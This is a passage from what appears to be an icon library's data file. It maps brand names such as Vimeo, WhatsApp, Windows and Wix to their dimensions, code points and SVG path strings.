	"vimeo": [448, 512, [], "f40a", "M403.2 32H44.8C20.1 32 0 52.1 0 76.8v358.4C0 459.9 20.1 480 44.8 480h358.4c24.7 0 44.8-20.1 44.8-44.8V76.8c0-24.7-20.1-44.8-44.8-44.8zM377 180.8c-1.4 31.5-23.4 74.7-66 129.4-44 57.2-81.3 85.8-111.7 85.8-18.9 0-34.8-17.4-47.9-52.3-25.5-93.3-36.4-148-57.4-148-2.4 0-10.9 5.1-25.4 15.2l-15.2-19.6c37.3-32.8 72.9-69.2 95.2-71.2 25.2-2.4 40.7 14.8 46.5 51.7 20.7 131.2 29.9 151 67.6 91.6 13.5-21.4 20.8-37.7 21.8-48.9 3.5-33.2-25.9-30.9-45.8-22.4 15.9-52.1 46.3-77.4 91.2-76 33.3.9 49 22.5 47.1 64.7z"],
	"vimeo-square": [448, 512, [], "f194", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16.2 149.6c-1.4 31.1-23.2 73.8-65.3 127.9-43.5 56.5-80.3 84.8-110.4 84.8-18.7 0-34.4-17.2-47.3-51.6-25.2-92.3-35.9-146.4-56.7-146.4-2.4 0-10.8 5-25.1 15.1L64 192c36.9-32.4 72.1-68.4 94.1-70.4 24.9-2.4 40.2 14.6 46 51.1 20.5 129.6 29.6 149.2 66.8 90.5 13.4-21.2 20.6-37.2 21.5-48.3 3.4-32.8-25.6-30.6-45.2-22.2 15.7-51.5 45.8-76.5 90.1-75.1 32.9 1 48.4 22.4 46.5 64z"],
	"vimeo-v": [448, 512, [], "f27d", "M447.8 153.6c-2 43.6-32.4 103.3-91.4 179.1-60.9 79.2-112.4 118.8-154.6 118.8-26.1 0-48.2-24.1-66.3-72.3C100.3 250 85.3 174.3 56.2 174.3c-3.4 0-15.1 7.1-35.2 21.1L0 168.2c51.6-45.3 100.9-95.7 131.8-98.5 34.9-3.4 56.3 20.5 64.4 71.5 28.7 181.5 41.4 208.9 93.6 126.7 18.7-29.6 28.8-52.1 30.2-67.6 4.8-45.9-35.8-42.8-63.3-31 22-72.1 64.1-107.1 126.2-105.1 45.8 1.2 67.5 31.1 64.9 89.4z"],
	"vine": [384, 512, [], "f1ca", "M384 254.7v52.1c-18.4 4.2-36.9 6.1-52.1 6.1-36.9 77.4-103 143.8-125.1 156.2-14 7.9-27.1 8.4-42.7-.8C137 452 34.2 367.7 0 102.7h74.5C93.2 261.8 139 343.4 189.3 404.5c27.9-27.9 54.8-65.1 75.6-106.9-49.8-25.3-80.1-80.9-80.1-145.6 0-65.6 37.7-115.1 102.2-115.1 114.9 0 106.2 127.9 81.6 181.5 0 0-46.4 9.2-63.5-20.5 3.4-11.3 8.2-30.8 8.2-48.5 0-31.3-11.3-46.6-28.4-46.6-18.2 0-30.8 17.1-30.8 50 .1 79.2 59.4 118.7 129.9 101.9z"],
	"vk": [576, 512, [], "f189", "M545 117.7c3.7-12.5 0-21.7-17.8-21.7h-58.9c-15 0-21.9 7.9-25.6 16.7 0 0-30 73.1-72.4 120.5-13.7 13.7-20 18.1-27.5 18.1-3.7 0-9.4-4.4-9.4-16.9V117.7c0-15-4.2-21.7-16.6-21.7h-92.6c-9.4 0-15 7-15 13.5 0 14.2 21.2 17.5 23.4 57.5v86.8c0 19-3.4 22.5-10.9 22.5-20 0-68.6-73.4-97.4-157.4-5.8-16.3-11.5-22.9-26.6-22.9H38.8c-16.8 0-20.2 7.9-20.2 16.7 0 15.6 20 93.1 93.1 195.5C160.4 378.1 229 416 291.4 416c37.5 0 42.1-8.4 42.1-22.9 0-66.8-3.4-73.1 15.4-73.1 8.7 0 23.7 4.4 58.7 38.1 40 40 46.6 57.9 69 57.9h58.9c16.8 0 25.3-8.4 20.4-25-11.2-34.9-86.9-106.7-90.3-111.5-8.7-11.2-6.2-16.2 0-26.2.1-.1 72-101.3 79.4-135.6z"],
	"vnv": [640, 512, [], "f40b", "M104.9 352c-34.1 0-46.4-30.4-46.4-30.4L2.6 210.1S-7.8 192 13 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.7-74.5c5.6-9.5 8.4-18.1 18.8-18.1h32.8c20.8 0 10.4 18.1 10.4 18.1l-55.8 111.5S174.2 352 140 352h-35.1zm395 0c-34.1 0-46.4-30.4-46.4-30.4l-55.9-111.5S387.2 192 408 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.8-74.5c5.6-9.5 8.4-18.1 18.8-18.1H627c20.8 0 10.4 18.1 10.4 18.1l-55.9 111.5S569.3 352 535.1 352h-35.2zM337.6 192c34.1 0 46.4 30.4 46.4 30.4l55.9 111.5s10.4 18.1-10.4 18.1h-32.8c-10.4 0-13.2-8.7-18.8-18.1l-36.7-74.5s-5.2-13.1-21.1-13.1c-15.9 0-21.1 13.1-21.1 13.1l-36.7 74.5c-5.6 9.4-8.4 18.1-18.8 18.1h-32.9c-20.8 0-10.4-18.1-10.4-18.1l55.9-111.5s12.2-30.4 46.4-30.4h35.1z"],
	"vuejs": [448, 512, [], "f41f", "M356.9 64.3H280l-56 88.6-48-88.6H0L224 448 448 64.3h-91.1zm-301.2 32h53.8L224 294.5 338.4 96.3h53.8L224 384.5 55.7 96.3z"],
	"watchman-monitoring": [512, 512, [], "e087", "M256,16C123.452,16,16,123.452,16,256S123.452,496,256,496,496,388.548,496,256,388.548,16,256,16ZM121.69,429.122C70.056,388.972,36.741,326.322,36.741,256a218.519,218.519,0,0,1,9.587-64.122l102.9-17.895-.121,10.967-13.943,2.013s-.144,12.5-.144,19.549a12.778,12.778,0,0,0,4.887,10.349l9.468,7.4Zm105.692-283.27,8.48-7.618s6.934-5.38-.143-9.344c-7.188-4.024-39.53-34.5-39.53-34.5-5.348-5.477-8.257-7.347-15.46,0,0,0-32.342,30.474-39.529,34.5-7.078,3.964-.144,9.344-.144,9.344l8.481,7.618-.048,4.369L75.982,131.045c39.644-56.938,105.532-94.3,180.018-94.3A218.754,218.754,0,0,1,420.934,111.77l-193.512,37.7Zm34.063,329.269-33.9-250.857,9.467-7.4a12.778,12.778,0,0,0,4.888-10.349c0-7.044-.144-19.549-.144-19.549l-13.943-2.013-.116-10.474,241.711,31.391A218.872,218.872,0,0,1,475.259,256C475.259,375.074,379.831,472.212,261.445,475.121Z"],
	"waze": [512, 512, [], "f83f", "M502.17 201.67C516.69 287.53 471.23 369.59 389 409.8c13 34.1-12.4 70.2-48.32 70.2a51.68 51.68 0 0 1-51.57-49c-6.44.19-64.2 0-76.33-.64A51.69 51.69 0 0 1 159 479.92c-33.86-1.36-57.95-34.84-47-67.92-37.21-13.11-72.54-34.87-99.62-70.8-13-17.28-.48-41.8 20.84-41.8 46.31 0 32.22-54.17 43.15-110.26C94.8 95.2 193.12 32 288.09 32c102.48 0 197.15 70.67 214.08 169.67zM373.51 388.28c42-19.18 81.33-56.71 96.29-102.14 40.48-123.09-64.15-228-181.71-228-83.45 0-170.32 55.42-186.07 136-9.53 48.91 5 131.35-68.75 131.35C58.21 358.6 91.6 378.11 127 389.54c24.66-21.8 63.87-15.47 79.83 14.34 14.22 1 79.19 1.18 87.9.82a51.69 51.69 0 0 1 78.78-16.42zM205.12 187.13c0-34.74 50.84-34.75 50.84 0s-50.84 34.74-50.84 0zm116.57 0c0-34.74 50.86-34.75 50.86 0s-50.86 34.75-50.86 0zm-122.61 70.69c-3.44-16.94 22.18-22.18 25.62-5.21l.06.28c4.14 21.42 29.85 44 64.12 43.07 35.68-.94 59.25-22.21 64.11-42.77 4.46-16.05 28.6-10.36 25.47 6-5.23 22.18-31.21 62-91.46 62.9-42.55 0-80.88-27.84-87.9-64.25z"],
	"weebly": [512, 512, [], "f5cc", "M425.09 65.83c-39.88 0-73.28 25.73-83.66 64.33-18.16-58.06-65.5-64.33-84.95-64.33-19.78 0-66.8 6.28-85.28 64.33-10.38-38.6-43.45-64.33-83.66-64.33C38.59 65.83 0 99.72 0 143.03c0 28.96 4.18 33.27 77.17 233.48 22.37 60.57 67.77 69.35 92.74 69.35 39.23 0 70.04-19.46 85.93-53.98 15.89 34.83 46.69 54.29 85.93 54.29 24.97 0 70.36-9.1 92.74-69.67 76.55-208.65 77.5-205.58 77.5-227.2.63-48.32-36.01-83.47-86.92-83.47zm26.34 114.81l-65.57 176.44c-7.92 21.49-21.22 37.22-46.24 37.22-23.44 0-37.38-12.41-44.03-33.9l-39.28-117.42h-.95L216.08 360.4c-6.96 21.5-20.9 33.6-44.02 33.6-25.02 0-38.33-15.74-46.24-37.22L60.88 181.55c-5.38-14.83-7.92-23.91-7.92-34.5 0-16.34 15.84-29.36 38.33-29.36 18.69 0 31.99 11.8 36.11 29.05l44.03 139.82h.95l44.66-136.79c6.02-19.67 16.47-32.08 38.96-32.08s32.94 12.11 38.96 32.08l44.66 136.79h.95l44.03-139.82c4.12-17.25 17.42-29.05 36.11-29.05 22.17 0 38.33 13.32 38.33 35.71-.32 7.87-4.12 16.04-7.61 27.24z"],
	"weibo": [512, 512, [], "f18a", "M407 177.6c7.6-24-13.4-46.8-37.4-41.7-22 4.8-28.8-28.1-7.1-32.8 50.1-10.9 92.3 37.1 76.5 84.8-6.8 21.2-38.8 10.8-32-10.3zM214.8 446.7C108.5 446.7 0 395.3 0 310.4c0-44.3 28-95.4 76.3-143.7C176 67 279.5 65.8 249.9 161c-4 13.1 12.3 5.7 12.3 6 79.5-33.6 140.5-16.8 114 51.4-3.7 9.4 1.1 10.9 8.3 13.1 135.7 42.3 34.8 215.2-169.7 215.2zm143.7-146.3c-5.4-55.7-78.5-94-163.4-85.7-84.8 8.6-148.8 60.3-143.4 116s78.5 94 163.4 85.7c84.8-8.6 148.8-60.3 143.4-116zM347.9 35.1c-25.9 5.6-16.8 43.7 8.3 38.3 72.3-15.2 134.8 52.8 111.7 124-7.4 24.2 29.1 37 37.4 12 31.9-99.8-55.1-195.9-157.4-174.3zm-78.5 311c-17.1 38.8-66.8 60-109.1 46.3-40.8-13.1-58-53.4-40.3-89.7 17.7-35.4 63.1-55.4 103.4-45.1 42 10.8 63.1 50.2 46 88.5zm-86.3-30c-12.9-5.4-30 .3-38 12.9-8.3 12.9-4.3 28 8.6 34 13.1 6 30.8.3 39.1-12.9 8-13.1 3.7-28.3-9.7-34zm32.6-13.4c-5.1-1.7-11.4.6-14.3 5.4-2.9 5.1-1.4 10.6 3.7 12.9 5.1 2 11.7-.3 14.6-5.4 2.8-5.2 1.1-10.9-4-12.9z"],
	"weixin": [576, 512, [], "f1d7", "M385.2 167.6c6.4 0 12.6.3 18.8 1.1C387.4 90.3 303.3 32 207.7 32 100.5 32 13 104.8 13 197.4c0 53.4 29.3 97.5 77.9 131.6l-19.3 58.6 68-34.1c24.4 4.8 43.8 9.7 68.2 9.7 6.2 0 12.1-.3 18.3-.8-4-12.9-6.2-26.6-6.2-40.8-.1-84.9 72.9-154 165.3-154zm-104.5-52.9c14.5 0 24.2 9.7 24.2 24.4 0 14.5-9.7 24.2-24.2 24.2-14.8 0-29.3-9.7-29.3-24.2.1-14.7 14.6-24.4 29.3-24.4zm-136.4 48.6c-14.5 0-29.3-9.7-29.3-24.2 0-14.8 14.8-24.4 29.3-24.4 14.8 0 24.4 9.7 24.4 24.4 0 14.6-9.6 24.2-24.4 24.2zM563 319.4c0-77.9-77.9-141.3-165.4-141.3-92.7 0-165.4 63.4-165.4 141.3S305 460.7 397.6 460.7c19.3 0 38.9-5.1 58.6-9.9l53.4 29.3-14.8-48.6C534 402.1 563 363.2 563 319.4zm-219.1-24.5c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.8 0 24.4 9.7 24.4 19.3 0 10-9.7 19.6-24.4 19.6zm107.1 0c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.5 0 24.4 9.7 24.4 19.3.1 10-9.9 19.6-24.4 19.6z"],
	"whatsapp": [448, 512, [], "f232", "M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z"],
	"whatsapp-square": [448, 512, [], "f40c", "M224 122.8c-72.7 0-131.8 59.1-131.9 131.8 0 24.9 7 49.2 20.2 70.1l3.1 5-13.3 48.6 49.9-13.1 4.8 2.9c20.2 12 43.4 18.4 67.1 18.4h.1c72.6 0 133.3-59.1 133.3-131.8 0-35.2-15.2-68.3-40.1-93.2-25-25-58-38.7-93.2-38.7zm77.5 188.4c-3.3 9.3-19.1 17.7-26.7 18.8-12.6 1.9-22.4.9-47.5-9.9-39.7-17.2-65.7-57.2-67.7-59.8-2-2.6-16.2-21.5-16.2-41s10.2-29.1 13.9-33.1c3.6-4 7.9-5 10.6-5 2.6 0 5.3 0 7.6.1 2.4.1 5.7-.9 8.9 6.8 3.3 7.9 11.2 27.4 12.2 29.4s1.7 4.3.3 6.9c-7.6 15.2-15.7 14.6-11.6 21.6 15.3 26.3 30.6 35.4 53.9 47.1 4 2 6.3 1.7 8.6-1 2.3-2.6 9.9-11.6 12.5-15.5 2.6-4 5.3-3.3 8.9-2 3.6 1.3 23.1 10.9 27.1 12.9s6.6 3 7.6 4.6c.9 1.9.9 9.9-2.4 19.1zM400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM223.9 413.2c-26.6 0-52.7-6.7-75.8-19.3L64 416l22.5-82.2c-13.9-24-21.2-51.3-21.2-79.3C65.4 167.1 136.5 96 223.9 96c42.4 0 82.2 16.5 112.2 46.5 29.9 30 47.9 69.8 47.9 112.2 0 87.4-72.7 158.5-160.1 158.5z"],
	"whmcs": [448, 512, [], "f40d", "M448 161v-21.3l-28.5-8.8-2.2-10.4 20.1-20.7L427 80.4l-29 7.5-7.2-7.5 7.5-28.2-19.1-11.6-21.3 21-10.7-3.2-7-26.4h-22.6l-6.2 26.4-12.1 3.2-19.7-21-19.4 11 8.1 27.7-8.1 8.4-28.5-7.5-11 19.1 20.7 21-2.9 10.4-28.5 7.8-.3 21.7 28.8 7.5 2.4 12.1-20.1 19.9 10.4 18.5 29.6-7.5 7.2 8.6-8.1 26.9 19.9 11.6 19.4-20.4 11.6 2.9 6.7 28.5 22.6.3 6.7-28.8 11.6-3.5 20.7 21.6 20.4-12.1-8.8-28 7.8-8.1 28.8 8.8 10.3-20.1-20.9-18.8 2.2-12.1 29.1-7zm-119.2 45.2c-31.3 0-56.8-25.4-56.8-56.8s25.4-56.8 56.8-56.8 56.8 25.4 56.8 56.8c0 31.5-25.4 56.8-56.8 56.8zm72.3 16.4l46.9 14.5V277l-55.1 13.4-4.1 22.7 38.9 35.3-19.2 37.9-54-16.7-14.6 15.2 16.7 52.5-38.3 22.7-38.9-40.5-21.7 6.6-12.6 54-42.4-.5-12.6-53.6-21.7-5.6-36.4 38.4-37.4-21.7 15.2-50.5-13.7-16.1-55.5 14.1-19.7-34.8 37.9-37.4-4.8-22.8-54-14.1.5-40.9L54 219.9l5.7-19.7-38.9-39.4L41.5 125l53.6 14.1 15.2-15.7-15.2-52 36.4-20.7 36.8 39.4L191 84l11.6-52H245l11.6 45.9L234 72l-6.3-1.7-3.3 5.7-11 19.1-3.3 5.6 4.6 4.6 17.2 17.4-.3 1-23.8 6.5-6.2 1.7-.1 6.4-.2 12.9C153.8 161.6 118 204 118 254.7c0 58.3 47.3 105.7 105.7 105.7 50.5 0 92.7-35.4 103.2-82.8l13.2.2 6.9.1 1.6-6.7 5.6-24 1.9-.6 17.1 17.8 4.7 4.9 5.8-3.4 20.4-12.1 5.8-3.5-2-6.5-6.8-21.2z"],
	"wikipedia-w": [640, 512, [], "f266", "M640 51.2l-.3 12.2c-28.1.8-45 15.8-55.8 40.3-25 57.8-103.3 240-155.3 358.6H415l-81.9-193.1c-32.5 63.6-68.3 130-99.2 193.1-.3.3-15 0-15-.3C172 352.3 122.8 243.4 75.8 133.4 64.4 106.7 26.4 63.4.2 63.7c0-3.1-.3-10-.3-14.2h161.9v13.9c-19.2 1.1-52.8 13.3-43.3 34.2 21.9 49.7 103.6 240.3 125.6 288.6 15-29.7 57.8-109.2 75.3-142.8-13.9-28.3-58.6-133.9-72.8-160-9.7-17.8-36.1-19.4-55.8-19.7V49.8l142.5.3v13.1c-19.4.6-38.1 7.8-29.4 26.1 18.9 40 30.6 68.1 48.1 104.7 5.6-10.8 34.7-69.4 48.1-100.8 8.9-20.6-3.9-28.6-38.6-29.4.3-3.6 0-10.3.3-13.6 44.4-.3 111.1-.3 123.1-.6v13.6c-22.5.8-45.8 12.8-58.1 31.7l-59.2 122.8c6.4 16.1 63.3 142.8 69.2 156.7L559.2 91.8c-8.6-23.1-36.4-28.1-47.2-28.3V49.6l127.8 1.1.2.5z"],
	"windows": [448, 512, [], "f17a", "M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z"],
	"wix": [640, 512, [], "f5cf", "M393.38 131.69c0 13.03 2.08 32.69-28.68 43.83-9.52 3.45-15.95 9.66-15.95 9.66 0-31 4.72-42.22 17.4-48.86 9.75-5.11 27.23-4.63 27.23-4.63zm-115.8 35.54l-34.24 132.66-28.48-108.57c-7.69-31.99-20.81-48.53-48.43-48.53-27.37 0-40.66 16.18-48.43 48.53L89.52 299.89 55.28 167.23C49.73 140.51 23.86 128.96 0 131.96l65.57 247.93s21.63 1.56 32.46-3.96c14.22-7.25 20.98-12.84 29.59-46.57 7.67-30.07 29.11-118.41 31.12-124.7 4.76-14.94 11.09-13.81 15.4 0 1.97 6.3 23.45 94.63 31.12 124.7 8.6 33.73 15.37 39.32 29.59 46.57 10.82 5.52 32.46 3.96 32.46 3.96l65.57-247.93c-24.42-3.07-49.82 8.93-55.3 35.27zm115.78 5.21s-4.1 6.34-13.46 11.57c-6.01 3.36-11.78 5.64-17.97 8.61-15.14 7.26-13.18 13.95-13.18 35.2v152.07s16.55 2.09 27.37-3.43c13.93-7.1 17.13-13.95 17.26-44.78V181.41l-.02.01v-8.98zm163.44 84.08L640 132.78s-35.11-5.98-52.5 9.85c-13.3 12.1-24.41 29.55-54.18 72.47-.47.73-6.25 10.54-13.07 0-29.29-42.23-40.8-60.29-54.18-72.47-17.39-15.83-52.5-9.85-52.5-9.85l83.2 123.74-82.97 123.36s36.57 4.62 53.95-11.21c11.49-10.46 17.58-20.37 52.51-70.72 6.81-10.52 12.57-.77 13.07 0 29.4 42.38 39.23 58.06 53.14 70.72 17.39 15.83 53.32 11.21 53.32 11.21L556.8 256.52z"],
	"wizards-of-the-coast": [640, 512, [], "f730", "M219.19 345.69c-1.9 1.38-11.07 8.44-.26 23.57 4.64 6.42 14.11 12.79 21.73 6.55 6.5-4.88 7.35-12.92.26-23.04-5.47-7.76-14.28-12.88-21.73-7.08zm336.75 75.94c-.34 1.7-.55 1.67.79 0 2.09-4.19 4.19-10.21 4.98-19.9 3.14-38.49-40.33-71.49-101.34-78.03-54.73-6.02-124.38 9.17-188.8 60.49l-.26 1.57c2.62 4.98 4.98 10.74 3.4 21.21l.79.26c63.89-58.4 131.19-77.25 184.35-73.85 58.4 3.67 100.03 34.04 100.03 68.08-.01 9.96-2.63 15.72-3.94 20.17zM392.28 240.42c.79 7.07 4.19 10.21 9.17 10.47 5.5.26 9.43-2.62 10.47-6.55.79-3.4 2.09-29.85 2.09-29.85s-11.26 6.55-14.93 10.47c-3.66 3.68-7.33 8.39-6.8 15.46zm-50.02-151.1C137.75 89.32 13.1 226.8.79 241.2c-1.05.52-1.31.79.79 1.31 60.49 16.5 155.81 81.18 196.13 202.16l1.05.26c55.25-69.92 140.88-128.05 236.99-128.05 80.92 0 130.15 42.16 130.15 80.39 0 18.33-6.55 33.52-22.26 46.35 0 .96-.2.79.79.79 14.66-10.74 27.5-28.8 27.5-48.18 0-22.78-12.05-38.23-12.05-38.23 7.07 7.07 10.74 16.24 10.74 16.24 5.76-40.85 26.97-62.32 26.97-62.32-2.36-9.69-6.81-17.81-6.81-17.81 7.59 8.12 14.4 27.5 14.4 41.37 0 10.47-3.4 22.78-12.57 31.95l.26.52c8.12-4.98 16.5-16.76 16.5-37.97 0-15.71-4.71-25.92-4.71-25.92 5.76-5.24 11.26-9.17 15.97-11.78.79 3.4 2.09 9.69 2.36 14.93 0 1.05.79 1.83 1.05 0 .79-5.76-.26-16.24-.26-16.5 6.02-3.14 9.69-4.45 9.69-4.45C617.74 176 489.43 89.32 342.26 89.32zm-99.24 289.62c-11.06 8.99-24.2 4.08-30.64-4.19-7.45-9.58-6.76-24.09 4.19-32.47 14.85-11.35 27.08-.49 31.16 5.5.28.39 12.13 16.57-4.71 31.16zm2.09-136.43l9.43-17.81 11.78 70.96-12.57 6.02-24.62-28.8 14.14-26.71 3.67 4.45-1.83-8.11zm18.59 117.58l-.26-.26c2.05-4.1-2.5-6.61-17.54-31.69-1.31-2.36-3.14-2.88-4.45-2.62l-.26-.52c7.86-5.76 15.45-10.21 25.4-15.71l.52.26c1.31 1.83 2.09 2.88 3.4 4.71l-.26.52c-1.05-.26-2.36-.79-5.24.26-2.09.79-7.86 3.67-12.31 7.59v1.31c1.57 2.36 3.93 6.55 5.76 9.69h.26c10.05-6.28 7.56-4.55 11.52-7.86h.26c.52 1.83.52 1.83 1.83 5.5l-.26.26c-3.06.61-4.65.34-11.52 5.5v.26c9.46 17.02 11.01 16.75 12.57 15.97l.26.26c-2.34 1.59-6.27 4.21-9.68 6.57zm55.26-32.47c-3.14 1.57-6.02 2.88-9.95 4.98l-.26-.26c1.29-2.59 1.16-2.71-11.78-32.47l-.26-.26c-.15 0-8.9 3.65-9.95 7.33h-.52l-1.05-5.76.26-.52c7.29-4.56 25.53-11.64 27.76-12.57l.52.26 3.14 4.98-.26.52c-3.53-1.76-7.35.76-12.31 2.62v.26c12.31 32.01 12.67 30.64 14.66 30.64v.25zm44.77-16.5c-4.19 1.05-5.24 1.31-9.69 2.88l-.26-.26.52-4.45c-1.05-3.4-3.14-11.52-3.67-13.62l-.26-.26c-3.4.79-8.9 2.62-12.83 3.93l-.26.26c.79 2.62 3.14 9.95 4.19 13.88.79 2.36 1.83 2.88 2.88 3.14v.52c-3.67 1.05-7.07 2.62-10.21 3.93l-.26-.26c1.05-1.31 1.05-2.88.26-4.98-1.05-3.14-8.12-23.83-9.17-27.23-.52-1.83-1.57-3.14-2.62-3.14v-.52c3.14-1.05 6.02-2.09 10.74-3.4l.26.26-.26 4.71c1.31 3.93 2.36 7.59 3.14 9.69h.26c3.93-1.31 9.43-2.88 12.83-3.93l.26-.26-2.62-9.43c-.52-1.83-1.05-3.4-2.62-3.93v-.26c4.45-1.05 7.33-1.83 10.74-2.36l.26.26c-1.05 1.31-1.05 2.88-.52 4.45 1.57 6.28 4.71 20.43 6.28 26.45.54 2.62 1.85 3.41 2.63 3.93zm32.21-6.81l-.26.26c-4.71.52-14.14 2.36-22.52 4.19l-.26-.26.79-4.19c-1.57-7.86-3.4-18.59-4.98-26.19-.26-1.83-.79-2.88-2.62-3.67l.79-.52c9.17-1.57 20.16-2.36 24.88-2.62l.26.26c.52 2.36.79 3.14 1.57 5.5l-.26.26c-1.14-1.14-3.34-3.2-16.24-.79l-.26.26c.26 1.57 1.05 6.55 1.57 9.95l.26.26c9.52-1.68 4.76-.06 10.74-2.36h.26c0 1.57-.26 1.83-.26 5.24h-.26c-4.81-1.03-2.15-.9-10.21 0l-.26.26c.26 2.09 1.57 9.43 2.09 12.57l.26.26c1.15.38 14.21-.65 16.24-4.71h.26c-.53 2.38-1.05 4.21-1.58 6.04zm10.74-44.51c-4.45 2.36-8.12 2.88-11 2.88-.25.02-11.41 1.09-17.54-9.95-6.74-10.79-.98-25.2 5.5-31.69 8.8-8.12 23.35-10.1 28.54-17.02 8.03-10.33-13.04-22.31-29.59-5.76l-2.62-2.88 5.24-16.24c25.59-1.57 45.2-3.04 50.02 16.24.79 3.14 0 9.43-.26 12.05 0 2.62-1.83 18.85-2.09 23.04-.52 4.19-.79 18.33-.79 20.69.26 2.36.52 4.19 1.57 5.5 1.57 1.83 5.76 1.83 5.76 1.83l-.79 4.71c-11.82-1.07-10.28-.59-20.43-1.05-3.22-5.15-2.23-3.28-4.19-7.86 0 .01-4.19 3.94-7.33 5.51zm37.18 21.21c-6.35-10.58-19.82-7.16-21.73 5.5-2.63 17.08 14.3 19.79 20.69 10.21l.26.26c-.52 1.83-1.83 6.02-1.83 6.28l-.52.52c-10.3 6.87-28.5-2.5-25.66-18.59 1.94-10.87 14.44-18.93 28.8-9.95l.26.52c0 1.06-.27 3.41-.27 5.25zm5.77-87.73v-6.55c.69 0 19.65 3.28 27.76 7.33l-1.57 17.54s10.21-9.43 15.45-10.74c5.24-1.57 14.93 7.33 14.93 7.33l-11.26 11.26c-12.07-6.35-19.59-.08-20.69.79-5.29 38.72-8.6 42.17 4.45 46.09l-.52 4.71c-17.55-4.29-18.53-4.5-36.92-7.33l.79-4.71c7.25 0 7.48-5.32 7.59-6.81 0 0 4.98-53.16 4.98-55.25-.02-2.87-4.99-3.66-4.99-3.66zm10.99 114.44c-8.12-2.09-14.14-11-10.74-20.69 3.14-9.43 12.31-12.31 18.85-10.21 9.17 2.62 12.83 11.78 10.74 19.38-2.61 8.9-9.42 13.87-18.85 11.52zm42.16 9.69c-2.36-.52-7.07-2.36-8.64-2.88v-.26l1.57-1.83c.59-8.24.59-7.27.26-7.59-4.82-1.81-6.66-2.36-7.07-2.36-1.31 1.83-2.88 4.45-3.67 5.5l-.79 3.4v.26c-1.31-.26-3.93-1.31-6.02-1.57v-.26l2.62-1.83c3.4-4.71 9.95-14.14 13.88-20.16v-2.09l.52-.26c2.09.79 5.5 2.09 7.59 2.88.48.48.18-1.87-1.05 25.14-.24 1.81.02 2.6.8 3.91zm-4.71-89.82c11.25-18.27 30.76-16.19 34.04-3.4L539.7 198c2.34-6.25-2.82-9.9-4.45-11.26l1.83-3.67c12.22 10.37 16.38 13.97 22.52 20.43-25.91 73.07-30.76 80.81-24.62 84.32l-1.83 4.45c-6.37-3.35-8.9-4.42-17.81-8.64l2.09-6.81c-.26-.26-3.93 3.93-9.69 3.67-19.06-1.3-22.89-31.75-9.67-52.9zm29.33 79.34c0-5.71-6.34-7.89-7.86-5.24-1.31 2.09 1.05 4.98 2.88 8.38 1.57 2.62 2.62 6.28 1.05 9.43-2.64 6.34-12.4 5.31-15.45-.79 0-.7-.27.09 1.83-4.71l.79-.26c-.57 5.66 6.06 9.61 8.38 4.98 1.05-2.09-.52-5.5-2.09-8.38-1.57-2.62-3.67-6.28-1.83-9.69 2.72-5.06 11.25-4.47 14.66 2.36v.52l-2.36 3.4zm21.21 13.36c-1.96-3.27-.91-2.14-4.45-4.71h-.26c-2.36 4.19-5.76 10.47-8.64 16.24-1.31 2.36-1.05 3.4-.79 3.93l-.26.26-5.76-4.45.26-.26 2.09-1.31c3.14-5.76 6.55-12.05 9.17-17.02v-.26c-2.64-1.98-1.22-1.51-6.02-1.83v-.26l3.14-3.4h.26c3.67 2.36 9.95 6.81 12.31 8.9l.26.26-1.31 3.91zm27.23-44.26l-2.88-2.88c.79-2.36 1.83-4.98 2.09-7.59.75-9.74-11.52-11.84-11.52-4.98 0 4.98 7.86 19.38 7.86 27.76 0 10.21-5.76 15.71-13.88 16.5-8.38.79-20.16-10.47-20.16-10.47l4.98-14.4 2.88 2.09c-2.97 17.8 17.68 20.37 13.35 5.24-1.06-4.02-18.75-34.2 2.09-38.23 13.62-2.36 23.04 16.5 23.04 16.5l-7.85 10.46zm35.62-10.21c-11-30.38-60.49-127.53-191.95-129.62-53.42-1.05-94.27 15.45-132.76 37.97l85.63-9.17-91.39 20.69 25.14 19.64-3.93-16.5c7.5-1.71 39.15-8.45 66.77-8.9l-22.26 80.39c13.61-.7 18.97-8.98 19.64-22.78l4.98-1.05.26 26.71c-22.46 3.21-37.3 6.69-49.49 9.95l13.09-43.21-61.54-36.66 2.36 8.12 10.21 4.98c6.28 18.59 19.38 56.56 20.43 58.66 1.95 4.28 3.16 5.78 12.05 4.45l1.05 4.98c-16.08 4.86-23.66 7.61-39.02 14.4l-2.36-4.71c4.4-2.94 